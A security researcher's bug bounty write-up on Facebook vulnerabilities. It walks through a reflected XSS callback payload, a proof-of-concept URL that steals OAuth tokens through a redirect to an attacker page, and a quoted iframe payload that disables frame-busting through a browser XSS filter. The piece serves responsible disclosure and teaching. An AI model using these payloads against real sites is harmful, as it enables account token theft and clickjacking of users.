Introduction

In the past few weeks, I’ve reported a number of security vulnerabilities to Facebook as a part of its Security Bug Bounty program. While a few of the issues I reported were standard web application vulnerabilities (ie: a DOM-based XSS, an endpoint on the Developers site that did not enforce CSRF protection), others were a bit less common and exploiting them was more challenging. Those less common vulnerabilities are the focus of this blog post; my goal is to describe the vulnerable code and the constraints that I faced, as well as to explain how I ultimately exploited the vulnerability.

1. Constructing a multi-line JavaScript URI

This example involved a reflected XSS vulnerability on https://www.facebook.com/connect/prompt_feed.php using a query string parameter called callback . The parameter was meant to be a URL which users would be redirected to via JavaScript (setting document.location ) after submitting the form or hitting the Skip button on the page. However, the URL wasn’t validated very strictly on the backend: the only restriction I ran into was the need for a dot character, which led me to transform my initial alert(1) payload into window.alert(1) .

My first instinct was to try something simple like javascript:window.alert(1) . However, I found out the JavaScript on the page was parsing and transforming my callback URL before using it. My input was considered a relative URL, which caused a new URL to be generated that looked like https://www.facebook.com/javascript:window.alert(1) . The same thing happened if I tried prefixing my URL with whitespace. I then tried javascript://window.alert(1) , which was correctly parsed (albeit with a slash appended). That posed an issue since the double slashes were being treated as a comment in JavaScript (and were preventing me from using other protocols, like data or vbscript ).

To work around the comment, I introduced newline characters before my payload. This technique was apparently very effective in 2007 (see http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248) but I could only get it to work in Safari 5.1 (I also tested it in IE 6/7/8/9, Firefox 5, and Chrome 13 on Windows). I also stuck // at the end of my payload to remove the trailing slash.

In the end, my exploitable callback parameter looked like this:

1 callback=javascript://anything%0D%0A%0D%0Awindow.alert(1)//

2. Redirects preserve fragment portion of URL

This example had two separate but equally important parts:

I needed a way to generate an OAuth token for a particular application as the currently logged in user. To do that, I made a call to https://www.facebook.com/connect/uiserver.php with the target application’s ID . For the ‘next’ URL parameter, I needed a URL that was considered a valid callback location by the application. Luckily, all applications allowed redirects to Facebook.com. The token information was appended to the URL via the fragment (ie: http://www.facebook.com/#access_token=…). I then needed a way to redirect the user from Facebook.com to a third-party site. To do so, I set up my own application with my site as the domain. I then used https://www.facebook.com/extern/login_status.php to redirect users to my site via a 302 redirect.

Remember the fragment from step 1, which contained a user OAuth token for an application? Despite the fact that the fragment was never sent to the server, some browsers preserved it in the URL across the redirect (even cross-origin). As a result, I was able to read the fragment via JavaScript, giving me access to an OAuth token that didn’t belong to my application.

My proof of concept URL looked like this:

1 2 3 4 5 6 7 8 9 10 https://www.facebook.com/connect/uiserver.php? app_id=VICTIM_APP_ID & method=permissions.request & display=page & next=https%3A%2F%2Fwww.facebook.com%2Fextern%2Flogin_status.php%3F app_id%3DMY_EVIL_APP_ID%26 no_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html%26 ok_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html & response_type=token & fbconnect=1

I personally verified this behavior (that the fragment was preserved over cross-origin redirects) in Firefox 5 and Chrome 13. I also verified that IE9 does not exhibit the same behavior. According to a Microsoft blog post, this behavior also exists in Opera but not in Safari. For anyone who’s interested in exploring further, Fiddler set up some test cases to demonstrate the behavior. This StackOverflow question also has some good information on the subject.

3. XSS Filters can be used to bypass clickjacking

This example is actually not about an issue that I reported to Facebook. Instead, it’s about an interesting portion of Facebook’s clickjacking prevention that I recently noticed.

Facebook, as some sites have noted, does not use the X-Frame-Options header to prevent clickjacking on most pages. Instead, it relies on a bit of JavaScript which I’ve de-obfuscated and reproduced below:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <script type= "text/javascript" > /*<![ CDATA [*/ function si_cj ( m ) { setTimeout ( function () { new Image (). src = "http:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=1273" + "&m=" + m ; }, 5000 ); } if ( top != self ) { try { if ( parent != top ) { throw 1 ; } var si_cj_d = [ "apps.facebook.com" , "\/pages\/" , "apps.beta.facebook.com" ]; var href = top . location . href . toLowerCase (); for ( var i = 0 ; i < si_cj_d . length ; i ++ ) { if ( href . indexOf ( si_cj_d [ i ]) >= 0 ) { throw 1 ; } } si_cj ( "3 " ); } catch ( e ) { si_cj ( "1 \t" ); window . document . write ( "\u003cstyle>body * {display:none !important;}\u003c\/style>\u003ca href=\"#\" onclick=\"top.location.href=window.location.href\" style=\"display:block !important;padding:10px\">\u003ci class=\"img sp_264sql sx_c60685\" style=\"display:block !important\">\u003c\/i>Go to Facebook.com\u003c\/a>" ); /*_UIBLMIm*/ } } /*]]>*/ </script>

The part of the code that I want to highlight is a seemingly simple comment: /*_UIBLMIm*/ (you may have to scroll to see it). This comment is included at the end of the last line of the catch block. It’s actually not a static comment, as it might at first appear: the value inside of it changes on every pageview.

Why does it behave that way? Because of XSS filters.

We can look to “Busting frame busting,” an excellent research paper on clickjacking from 2010, for a more thorough explanation. In Section 3.4, the authors describe the ways in which XSS filters in different browsers can impact JavaScript-based framebusting code. In the case of XSSAuditor, which is used in Chrome and Safari, an attacker can target and disable a particular block of JavaScript (for instance, a block containing clickjacking prevention code). I’ve quoted the relevant information from the paper below:

The XSSAuditor filter deployed in Google Chrome, gives the attacker the ability to selectively cancel a particular script block. By matching the entire contents of a specific inline script, XSSAuditor disables it. This enables the framing page to specifically target a snippet containing the frame busting code, leaving all the other functionalities intact. XSSAuditor can be used to target external scripts as well, but the filter will only disable targeted scripts loaded from a separate origin. Example. victim frame busting code: 1 2 3 if ( top != self ) { top . location = self . location ; } Attacker: 1 2 <iframe src= "http://www.victim.com/? v=if (top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D" > Here the Google Chrome XSS filter will disable the frame busting script, but will leave all other scripts on the page operational. Consequently, the framed page will function properly, suggesting that the attack on Google Chrome is more effective than the attack on IE8.

So by adding the randomized comment, Facebook prevents an attacker from being able to include the clickjacking prevention JavaScript in the URL, which makes it impossible to disable the clickjacking protection via XSSAuditor.

Conclusion

I’d like to thank the Facebook Security Team for their quick responses to my reports. I’d also like to thank them for organizing this security bug bounty program and for supporting responsible disclosure in general.